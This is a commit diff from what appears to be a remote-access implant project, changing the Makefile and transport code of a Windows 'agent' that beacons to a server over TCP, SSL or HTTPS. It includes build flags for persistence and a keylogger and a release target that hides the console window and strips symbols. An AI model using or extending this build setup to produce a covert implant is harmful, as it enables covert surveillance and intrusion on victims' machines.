Changed operator's command parsing logic to not panic in certain cases. Changed how "show task" command works and replaced with "tasks", which works both in general and agent contexts
This commit is contained in:
@@ -36,20 +36,30 @@ LDFLAGS = -lws2_32 -liphlpapi
|
||||
INCLUDE_DIR =
|
||||
SRC_DIR = .
|
||||
OBJ_DIR = obj
|
||||
BIN_DIR = .
|
||||
EXEC = $(BIN_DIR)/agent.exe
|
||||
BIN_DIR = bin
|
||||
|
||||
# Define default flags
|
||||
CFLAGS = -flto -Os -DTESTING_BUILD
|
||||
CFLAGS = -DTESTING_BUILD
|
||||
|
||||
# Define feature flags
|
||||
USE_SSL = FALSE
|
||||
USE_HTTPS = FALSE
|
||||
USE_WOLFSSL = FALSE
|
||||
ENABLE_PROXY = FALSE
|
||||
ENABLE_PERSISTENCE = FALSE
|
||||
ENABLE_KEYLOGGER = FALSE
|
||||
|
||||
# Determine transport type and binary name
|
||||
ifeq ($(USE_SSL),TRUE)
|
||||
TRANSPORT = ssl
|
||||
EXEC = $(BIN_DIR)/agent_ssl.exe
|
||||
else ifeq ($(USE_HTTPS),TRUE)
|
||||
TRANSPORT = https
|
||||
EXEC = $(BIN_DIR)/agent_https.exe
|
||||
else
|
||||
TRANSPORT = tcp
|
||||
EXEC = $(BIN_DIR)/agent_tcp.exe
|
||||
endif
|
||||
|
||||
# Basic source files (always included)
|
||||
SRC_FILES = \
|
||||
agent.c \
|
||||
@@ -78,7 +88,7 @@ else
|
||||
CFLAGS += -DENABLE_KEYLOGGER=FALSE
|
||||
endif
|
||||
|
||||
# Add transport implementation based on USE_SSL or USE_WOLFSSL
|
||||
# Add transport implementation based on USE_SSL or USE_HTTPS
|
||||
ifeq ($(USE_SSL),TRUE)
|
||||
CFLAGS += -DUSE_SSL=TRUE
|
||||
LDFLAGS += -lsecur32
|
||||
@@ -87,11 +97,6 @@ else ifeq ($(USE_HTTPS),TRUE)
|
||||
CFLAGS += -DUSE_HTTPS=TRUE
|
||||
LDFLAGS += -lwinhttp
|
||||
SRC_FILES += transport_http.c
|
||||
else ifeq ($(USE_WOLFSSL),TRUE)
|
||||
CFLAGS += -DUSE_WOLFSSL=TRUE
|
||||
LDFLAGS += -L./lib/wolfssl-compiled/lib -lwolfssl -lcrypt32
|
||||
INCLUDE_DIR += -I./lib/wolfssl-compiled/include
|
||||
SRC_FILES += transport_wolfssl.c
|
||||
else
|
||||
SRC_FILES += transport_tcp.c
|
||||
endif
|
||||
@@ -108,6 +113,16 @@ $(shell mkdir -p $(OBJ_DIR) $(BIN_DIR))
|
||||
# Default target: Compile and link everything
|
||||
all: $(EXEC)
|
||||
|
||||
# Transport-specific targets
|
||||
tcp:
|
||||
$(MAKE) USE_SSL=FALSE USE_HTTPS=FALSE
|
||||
|
||||
ssl:
|
||||
$(MAKE) USE_SSL=TRUE USE_HTTPS=FALSE
|
||||
|
||||
https:
|
||||
$(MAKE) USE_SSL=FALSE USE_HTTPS=TRUE
|
||||
|
||||
# Link the object files into the final executable
|
||||
$(EXEC): $(OBJECTS)
|
||||
$(CC) $(OBJECTS) -o $(EXEC) $(LDFLAGS)
|
||||
@@ -117,20 +132,20 @@ $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c
|
||||
$(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@
|
||||
|
||||
# Build with size optimization
|
||||
size-opt: CFLAGS += -ffunction-sections -fdata-sections
|
||||
size-opt: LDFLAGS += -Wl,--gc-sections -s
|
||||
size-opt: CFLAGS += -ffunction-sections -fdata-sections -flto -Os
|
||||
size-opt: LDFLAGS += -flto -Wl,--gc-sections -s
|
||||
size-opt: clean all
|
||||
@echo "Built with additional size optimizations"
|
||||
|
||||
# Build without testing code and without console window
|
||||
release: CFLAGS := $(filter-out -DTESTING_BUILD,$(CFLAGS))
|
||||
release: LDFLAGS += -mwindows
|
||||
release: LDFLAGS += -mwindows -s
|
||||
release: clean all
|
||||
@echo "Built release version (no testing code, no console window)"
|
||||
|
||||
# Clean up object files and the executable
|
||||
clean:
|
||||
rm -rf $(OBJ_DIR)/*.o $(EXEC)
|
||||
rm -rf $(OBJ_DIR)/*.o $(BIN_DIR)/agent_*.exe
|
||||
|
||||
# Optional: Run the program after building
|
||||
run: $(EXEC)
|
||||
@@ -139,8 +154,10 @@ run: $(EXEC)
|
||||
# Show current configuration
|
||||
info:
|
||||
@echo "Build configuration:"
|
||||
@echo " Transport: $(TRANSPORT)"
|
||||
@echo " Binary: $(EXEC)"
|
||||
@echo " USE_SSL: $(USE_SSL)"
|
||||
@echo " USE_WOLFSSL: $(USE_WOLFSSL)"
|
||||
@echo " USE_HTTPS: $(USE_HTTPS)"
|
||||
@echo " ENABLE_PROXY: $(ENABLE_PROXY)"
|
||||
@echo " ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)"
|
||||
@echo " ENABLE_KEYLOGGER: $(ENABLE_KEYLOGGER)"
|
||||
@@ -153,4 +170,4 @@ info:
|
||||
install:
|
||||
@echo "Install target not implemented."
|
||||
|
||||
.PHONY: all clean run info install size-opt release
|
||||
.PHONY: all clean run info install size-opt release tcp ssl https
|
||||
@@ -22,7 +22,7 @@ char startup_result[1024];
|
||||
#if USE_SSL
|
||||
unsigned short int server_port = 8443;
|
||||
char agent_id[] = "SwiftTiger";
|
||||
#elif USE_HTTP
|
||||
#elif USE_HTTPS
|
||||
unsigned short server_port = 8880;
|
||||
char agent_id[] = "NimbleKoala";
|
||||
#else
|
||||
@@ -195,6 +195,14 @@ void SendHeartbeat(Transport* transport) {
|
||||
LOG("Trying to send heartbeat\n");
|
||||
SendHeartbeat(transport);
|
||||
}
|
||||
|
||||
// int sent = transport->send(transport->handle, "FINISH", strlen("FINISH"));
|
||||
// if (sent <= 0) {
|
||||
// LOG_ERROR("Error: Failed to send \"FINISH\", returned %d\n", sent);
|
||||
// CleanupTransport(transport);
|
||||
// return;
|
||||
// }
|
||||
|
||||
CleanupTransport(transport);
|
||||
|
||||
LOG("Disconnecting from server\n");
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
Transport* InitTransport(char* domain, unsigned short port) {
|
||||
#if USE_SSL
|
||||
return InitSchannelTransport(domain, port, SNI_HOSTNAME);
|
||||
#elif USE_HTTP
|
||||
#elif USE_HTTPS
|
||||
return InitHTTPTransport(domain, port);
|
||||
#else
|
||||
return InitTCPTransport(domain, port);
|
||||
|
||||
@@ -19,7 +19,7 @@ char* GetNextDomain();
|
||||
|
||||
#if USE_SSL
|
||||
extern Transport* InitSchannelTransport(char* domain, unsigned short port, char* sni_hostname);
|
||||
#elif USE_HTTP
|
||||
#elif USE_HTTPS
|
||||
extern Transport* InitHTTPTransport(char* domain, unsigned short port);
|
||||
#else
|
||||
extern Transport* InitTCPTransport(char* domain, unsigned short port);
|
||||
|
||||
Reference in New Issue
Block a user